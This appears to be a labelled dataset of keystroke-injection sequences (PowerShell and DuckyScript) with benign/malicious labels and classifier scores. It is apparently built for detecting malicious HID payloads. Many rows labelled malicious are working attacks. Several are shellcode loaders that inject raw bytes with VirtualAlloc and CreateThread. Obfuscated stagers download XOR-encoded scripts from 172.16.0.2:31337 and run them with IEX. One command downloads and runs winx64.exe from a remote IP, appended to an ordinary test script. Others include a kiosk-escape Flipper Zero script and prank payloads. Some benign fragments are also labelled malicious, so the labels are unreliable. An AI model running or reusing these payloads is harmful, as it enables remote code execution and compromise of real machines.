0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x2b,0x2c,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1318148e-05,0.9999486
win+r enter powershell enter enter enter $appPoolName = 'CarbonTestUninstallAppPool' enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Start-Test enter { enter Uninstall-IisAppPool -Name $appPoolName enter Assert-False (Test-IisAppPool -Name $appPoolName) enter } enter enter function Stop-Test enter { enter Uninstall-IisAppPool -Name $appPoolName enter } enter enter function Test-ShouldRemoveAppPool enter { enter Install-IisAppPool -Name $appPoolName enter Assert-True (Test-IisAppPool -Name $appPoolName) enter Uninstall-IisAppPool -Name $appPoolName enter Assert-False (Test-IisAppPool -Name $appPoolName) enter } enter enter function Test-ShouldRemvoeMissingAppPool enter { enter $missingAppPool = 'IDoNotExist' enter Assert-False (Test-IisAppPool -Name $missingAppPool) enter Uninstall-IisAppPool -Name $missingAppPool enter Assert-False (Test-IisAppPool -Name $missingAppPool) enter } enter enter function Test-ShouldSupportWhatIf enter { enter Install-IisAppPool -Name $appPoolName enter Assert-True (Test-IisAppPool -Name $appPoolName) enter enter Uninstall-IisAppPool -Name $appPoolName -WhatIf enter Assert-True (Test-IisAppPool -Name $appPoolName) enter } enter enter,0,0,0.9999504,4.964248e-05
"win+r powershell enter function New-InMemoryModule { [Diagnostics.CodeAnalysis.SuppressMessageAttribu enter te('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param enter ( [Parameter(Position = 0)] [ValidateNotNullOrEmpty()] [String] $ModuleName enter = [Guid]::NewGuid().ToString() ) $AppDomain = [Reflection.Assembly].Assembly enter .GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) enter enter",1,1,0.00019904625,0.999801
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_hxyfalgx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4908047e-05
"win+r powershell enter  $users = ""mmessano@primealliancesolutions.com"" $fromemail = ""DataManagement@ enter primealliancesolutions.com"" $server = ""outbound.smtp.dexma.com"" $list = ""C:\Us enter ers\MMessano\Desktop\Payload_QA.txt"" $computers = get-content $list $threshold enter space = 65 [int]$EventNum = 3 [int]$ProccessNumToFetch = 10 enter enter",1,1,0.0019455955,0.9980544
DUCKY_REAL_BEGIN enter REM KIOSK EVASION EXPERIEMENTAL PAYLOADS enter REM Target: Windows enter REM Stop this script when evasion is succeed enter REM and run your true payload enter REM optimised for Flipper Zero enter REM Auth: @nocomp enter DELAY 2000 enter ALT F4 enter DELAY 700 enter ALT SPACE enter DELAY 700 enter ALT TAB enter DELAY 700 enter CTRL B enter DELAY 700 enter CTRL ALT DEL enter DELAY 700 enter CTRL ESC enter DELAY 700 enter CTRL F4 enter DELAY 700 enter CTRL P enter DELAY 700 enter CTRL SHIFT ESC enter DELAY 700 enter CTRL TAB enter DELAY 700 enter CTRL GUI F enter DELAY 700 enter F1 enter DELAY 500 enter F3 enter DELAY 500 enter SHIFT enter SHIFT enter SHIFT enter SHIFT enter SHIFT enter DELAY 700 enter GUI BREAK enter DUCKY_REAL_END,1,1,6.322944e-05,0.9999368
win+r powershell enter $subscriptionId = 'yourSubscriptionId' $resourceGroupName ='yourResourceGroupNa enter me' $diskName = 'yourDiskName' $diskSize = '128' $storageType = 'Premium_LRS' enter $location = 'westus' enter enter,1,1,0.005800818,0.99419916
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter param () enter function Get-Architecture { enter [CmdletBinding()][OutputType([string])] enter param () enter enter $OSArchitecture = Get-WmiObject -Class Win32_OperatingSystem | Select-Object OSArchitecture enter $OSArchitecture = $OSArchitecture.OSArchitecture enter Return $OSArchitecture enter enter } enter enter function Get-RelativePath { enter [CmdletBinding()][OutputType([string])] enter param () enter enter $Path = (split-path $SCRIPT:MyInvocation.MyCommand.Path -parent) + ""\"" enter Return $Path enter } enter enter function Install-MSUFile { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][string]$FileName enter ) enter enter $RelativePath = Get-RelativePath enter $Executable = $env:windir + ""\System32\wusa.exe"" enter $Parameters = $RelativePath + $FileName + [char]32 + ""/quiet /norestart"" enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Parameters -Wait -Passthru).ExitCode enter Return $ErrCode enter } enter enter $Architecture = Get-Architecture enter If ($Architecture -eq ""32-Bit"") { enter $ReturnCode = Install-MSUFile -FileName Windows6.1-KB4019990-x86.msu enter } else { enter $ReturnCode = Install-MSUFile -FileName Windows6.1-KB4019990-x64.msu enter } enter If ($ReturnCode -eq 2359301) { enter $ReturnCode = 3010 enter } enter If ($ReturnCode -eq 2359302) { enter $ReturnCode = 0 enter } enter $ReturnCode enter Exit $ReturnCode enter enter",0,0,0.99747473,0.002525224
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_z4brw192"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4015313e-05
"win+r powershell enter Register-PSFConfigValidation -Name ""string"" -ScriptBlock { Param ( $Value ) enter $Result = New-Object PSObject -Property @{ Success = $True Value = $null M enter essage = """" } try enter enter",1,1,0.0026892254,0.99731076
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_5zx4k84u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.4452318e-05
"win+r enter powershell enter enter enter $WC=NeW-ObjeCt SYstem.NET.WEBCLiEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeaDErs.ADD('User-Agent',$u);$Wc.PROXY = [SYsTEM.NET.WEbREQuEst]::DeFauLtWebProxY;$wc.PrOXy.CredentIALs = [SySTEM.NEt.CRedENtiAlCache]::DEfAUltNEtwOrkCrEDentIals;$K='w1dBgDnzf!?}v6-E^/`i5.V2L|XWSRlH';$i=0;[CHar[]]$B=([cHAR[]]($Wc.DOwnloAdStRing(""http://172.16.0.2:31337/index.asp"")))|%{$_-BXOR$k[$I++%$k.LENgtH]};IEX ($b-joIN'') enter enter",1,1,5.586691e-05,0.9999441
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_8jm5msk4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.4791792e-05
"win+r powershell enter  $(foreach($file in (ls *Prox.xml)) { $data = Import-Clixml $file $data | Wh enter ere-Object { $_.ProcessName -eq ""System"" } | Select-Object PSComputerName, Proc enter essName, StartTime }) | Sort-Object StartTime enter enter",0,0,0.6043053,0.39569467
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_ew1r5d0y"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""Teams"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_10.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.4432476e-05
"win+r powershell enter function ConvertTo-Base64 { [CmdletBinding()] param ( [Parameter(Mandatory enter = $true, ValueFromPipeline = $true)] [ValidateScript({ Test-Path -Path $_ })] enter [String]$Path ) Write-Verbose -Message ""[ConvertTo-Base64] Converting image enter to Base64 $Path"" enter enter",1,1,0.0051426743,0.9948573
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_z3h244ao"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.386087e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_ctfxgy6b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 10 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_10.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4219243e-05
"win+r enter powershell enter enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Test-ShouldConvertSecureStringToString enter { enter $secret = ""Hello World!"" enter $secureString = ConvertTo-SecureString -String $secret -AsPlainText -Force enter $notSoSecret = Convert-SecureStringToString $secureString enter Assert-Equal $secret $notSoSecret ""Didn't convert a secure string to a string."" enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,5.911782e-05,0.9999409
"win+r enter powershell enter enter enter $yevg = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $yevg -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xee,0xd9,0x74,0x24,0xf4,0xba,0xe4,0x6b,0x3e,0x0a,0x5e,0x29,0xc9,0xb1,0x47,0x83,0xee,0xfc,0x31,0x56,0x14,0x03,0x56,0xf0,0x89,0xcb,0xf6,0x10,0xcf,0x34,0x07,0xe0,0xb0,0xbd,0xe2,0xd1,0xf0,0xda,0x67,0x41,0xc1,0xa9,0x2a,0x6d,0xaa,0xfc,0xde,0xe6,0xde,0x28,0xd0,0x4f,0x54,0x0f,0xdf,0x50,0xc5,0x73,0x7e,0xd2,0x14,0xa0,0xa0,0xeb,0xd6,0xb5,0xa1,0x2c,0x0a,0x37,0xf3,0xe5,0x40,0xea,0xe4,0x82,0x1d,0x37,0x8e,0xd8,0xb0,0x3f,0x73,0xa8,0xb3,0x6e,0x22,0xa3,0xed,0xb0,0xc4,0x60,0x86,0xf8,0xde,0x65,0xa3,0xb3,0x55,0x5d,0x5f,0x42,0xbc,0xac,0xa0,0xe9,0x81,0x01,0x53,0xf3,0xc6,0xa5,0x8c,0x86,0x3e,0xd6,0x31,0x91,0x84,0xa5,0xed,0x14,0x1f,0x0d,0x65,0x8e,0xfb,0xac,0xaa,0x49,0x8f,0xa2,0x07,0x1d,0xd7,0xa6,0x96,0xf2,0x63,0xd2,0x13,0xf5,0xa3,0x53,0x67,0xd2,0x67,0x38,0x33,0x7b,0x31,0xe4,0x92,0x84,0x21,0x47,0x4a,0x21,0x29,0x65,0x9f,0x58,0x70,0xe1,0x6c,0x51,0x8b,0xf1,0xfa,0xe2,0xf8,0xc3,0xa5,0x58,0x97,0x6f,0x2d,0x47,0x60,0x90,0x04,0x3f,0xfe,0x6f,0xa7,0x40,0xd6,0xab,0xf3,0x10,0x40,0x1a,0x7c,0xfb,0x90,0xa3,0xa9,0x96,0x95,0x33,0x92,0xcf,0x9e,0xa6,0x7a,0x12,0x9f,0x29,0xc0,0x9b,0x79,0x79,0x66,0xcc,0xd5,0x39,0xd6,0xac,0x85,0xd1,0x3c,0x23,0xf9,0xc1,0x3e,0xe9,0x92,0x6b,0xd1,0x44,0xca,0x03,0x48,0xcd,0x80,0xb2,0x95,0xdb,0xec,0xf4,0x1e,0xe8,0x11,0xba,0xd6,0x85,0x01,0x2a,0x17,0xd0,0x78,0xfc,0x28,0xce,0x17,0x00,0xbd,0xf5,0xb1,0x57,0x29,0xf4,0xe4,0x9f,0xf6,0x07,0xc3,0x94,0x3f,0x92,0xac,0xc2,0x3f,0x72,0x2d,0x12,0x16,0x18,0x2d,0x7a,0xce,0x78,0x7e,0x9f,0x11,0x55,0x12,0x0c,0x84,0x56,0x43,0xe1,0x0f,0x3f,0x69,0xdc,0x78,0xe0,0x92,0x0b,0x79,0xdc,0x44,0x75,0x0f,0x0c,0x55;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$puU=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($puU.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$puU,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.222736e-05,0.9999478
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_x91rqjkx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3663182e-05
"win+r powershell enter Describe ""Validate Copy-Item locally"" -Tags ""CI"" { It ""Copy-Item has non-termin enter ating error if destination is in use"" -Skip:(!$IsWindows) { Copy-Item -Path $en enter v:windir\system32\cmd.exe -Destination TestDrive:\ $cmd = Start-Process -FilePa enter th TestDrive:\cmd.exe -PassThru try { { Copy-Item -Path $env:windir\system32\c enter md.exe -Destination TestDrive:\ -ErrorAction SilentlyContinue } | Should -Not -T enter hrow } finally { $cmd | Stop-Process } } } enter enter",1,1,0.003516302,0.9964837
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_qtvdu0ps"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4368444e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Downloads the Txt file and opens it. enter REM Version: 1.1 enter REM Category: DownloadAscii enter DELAY 1000 enter WINDOWS d enter DELAY 1500 enter WINDOWS r enter DELAY 1500 enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 560 enter LEFTARROW enter DELAY 500 enter ENTER enter DELAY 700 enter STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/happyBDAY.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath ""C:/windows/6565.txt"" -WindowStyle maximiz enter ENTER enter DUCKY_REAL_END enter",1,1,6.2017374e-05,0.999938
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_cu2oa225"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*update*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4509532e-05
"win r https://fakeupdate.net/win10ue/ enter win r cmd enter mode con: cols=20 lines=1 enter color fe enter del %tmp% enter del %tmp%\volup.vbs enter cd %tmp% && copy con rickyou.vbs enter while true enter dim oplayer enter set oplayer = createobject(""wmplayer.ocx"") enter oplayer.url = ""http://tinyurl.com/s63ve48"" enter oplayer.controls.play enter while oplayer.playstate <> 1 ' 1 = stopped enter wscript.sleep 100 enter wend enter oplayer.close enter wend enter ctrl z enter copy con volup.vbs enter do enter set wshshell = createobject(""wscript.shell"") enter wshshell.sendkeys(chr(&haf)) enter loop enter ctrl z enter start rickyou.vbs && volup.vbs enter exit enter",1,1,0.003066175,0.9969338
"win+r powershell enter [CmdletBinding()] param( [int] $ID, [string] $Computer, [int[]] $Port, [swi enter tch] $Dns, [int] $PortConnectTimeout, [string] $scriptPath ) $RunspaceTimers enter .$ID = Get-Date if (-not $PortData.ContainsKey($Computer)) { enter enter",1,1,0.00034250185,0.9996575
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_o1995v6c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_15.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4386798e-05
"win+r enter powershell enter enter enter  enter $mappings = @{ enter ""deserialized.microsoft.activedirectory.management.addomaincontroller"" = @(""HostName"", ""Name"") enter ""microsoft.activedirectory.management.addomaincontroller"" = @(""HostName"", ""Name"") enter ""microsoft.sqlserver.management.smo.server"" = @(""NetName"", ""DomainInstanceName"") enter ""deserialized.microsoft.sqlserver.management.smo.server"" = @(""NetName"", ""DomainInstanceName"") enter ""microsoft.sqlserver.management.smo.linkedserver"" = @(""Name"") enter ""deserialized.microsoft.sqlserver.management.smo.linkedserver"" = @(""Name"") enter ""microsoft.activedirectory.management.adcomputer"" = @(""DNSHostName"", ""Name"") enter ""deserialized.microsoft.activedirectory.management.adcomputer"" = @(""DNSHostName"", ""Name"") enter ""Microsoft.DnsClient.Commands.DnsRecord_A"" = @(""Name"", ""IPAddress"") enter ""Deserialized.Microsoft.DnsClient.Commands.DnsRecord_A"" = @(""Name"", ""IPAddress"") enter ""Microsoft.DnsClient.Commands.DnsRecord_AAAA"" = @(""Name"", ""IPAddress"") enter ""Deserialized.Microsoft.DnsClient.Commands.DnsRecord_AAAA"" = @(""Name"", ""IPAddress"") enter } enter foreach ($key in $mappings.Keys) enter { enter Register-PSFParameterClassMapping -ParameterClass 'Computer' -TypeName $key -Properties $mappings[$key] enter } enter enter",0,0,0.99990964,9.031827e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_jpgvizfy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4522564e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_ezlidnr3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.473418e-05
"win+r powershell enter [SYSTem.NeT.SErvICePoINTMAnAgeR]::ExpEcT100ContinUE = 0;$wc=NEw-OBjECT System.NeT.WebClIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEadeRS.AdD('User-Agent',$u);$wC.ProXy = [SYstem.Net.WeBREQUest]::DEfAUltWeBPrOxY;$wc.PrOxy.CredENTiaLS = [SySTEM.Net.CREdeNtiAlCaChe]::DefaULtNetWOrkCREDENTIAlS;$K='[ enter",1,1,5.5733984e-05,0.9999442
"win+r powershell enter param([parameter(Mandatory=$true)][string] $dir, [parameter(Mandatory=$true)][s enter tring] $server) Add-PSSnapin SqlServerCmdletSnapin100 Add-PSSnapin SqlServerPro enter viderSnapin100 [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlS enter erver.SMO') | out-null [System.Reflection.Assembly]::LoadWithPartialName(""Micros enter oft.SqlServer.SmoExtended"") | Out-Null $smosrv = new-object ('Microsoft.SqlServe enter r.Management.Smo.Server') $server $files = gci $dir | where {$_.name -like ""*.b enter ak""} $output=([Environment]::GetFolderPath(""MyDocuments"")) + ""\attachdbs.sql"" enter enter",1,1,0.008934293,0.9910657
win+r powershell enter function Get-CIisAppPool { [CmdletBinding()] [OutputType([Microsoft.Web.Admi enter nistration.ApplicationPool])] param( [string] $Name ) Set-StrictMode -V enter ersion 'Latest' enter enter,1,1,0.007526708,0.99247336
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_a5i4rrl8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.432936e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_74rplfq8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_50.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3573924e-05
